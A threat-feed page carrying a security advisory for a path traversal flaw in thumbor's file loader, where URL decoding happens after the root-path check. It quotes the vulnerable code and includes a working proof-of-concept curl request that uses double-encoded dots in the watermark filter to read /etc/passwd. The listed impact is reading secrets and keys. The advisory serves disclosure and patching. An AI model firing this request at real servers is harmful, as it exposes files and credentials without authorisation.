Threats Tagged 'ghsa-cj54-hpcc-gj6h'
View all threats tagged with 'ghsa-cj54-hpcc-gj6h'. Filter and sort to focus on specific types of threats.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Threats Tagged 'ghsa-cj54-hpcc-gj6h'
Click on any threat for detailed analysis and mitigation recommendations
0 The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences. ## Affected code `thumbor/loaders/file_loader.py` lines 28-49: ```python async def load(context, path): file_path = join( context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/") ) file_path = abspath(file_path) inside_root_path = file_path.startswith( # Security check abspath(context.config.FILE_LOADER_ROOT_PATH) ) result = LoaderResult() if not inside_root_path: result.error = LoaderResult.ERROR_NOT_FOUND result.successful = False return result if not exists(file_path): file_path = unquote(file_path) # unquote AFTER check! if exists(file_path) and isfile(file_path): with open(file_path, "rb") as source_file: ... ``` The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37). ## PoC ```bash # Read /etc/passwd via watermark filter path traversal # %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader, # file_loader unquote decodes %2e to . curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg' ``` Flow: 1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e` 2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader 3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...` 4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve) 5. `startswith(ROOT)` = True (passes check) 6. `exists()` returns False (literal `%2e%2e` dir doesn't exist) 7. `unquote()` converts `%2e%2e` to `..` 8. OS resolves `..` → reads files outside ROOT ## Prerequisites - `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`) - `ALLOW_UNSAFE_URL = True` (this is the default) - watermark/frame filters are enabled by default (in BUILTIN_FILTERS) ## Impact Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc. Join the discussion | GCVE Database | 07/31/2026, 19:03:54 UTC Added: 07/31/2026, 21:29:20 UTC |
Showing 1 to 1 of 1 result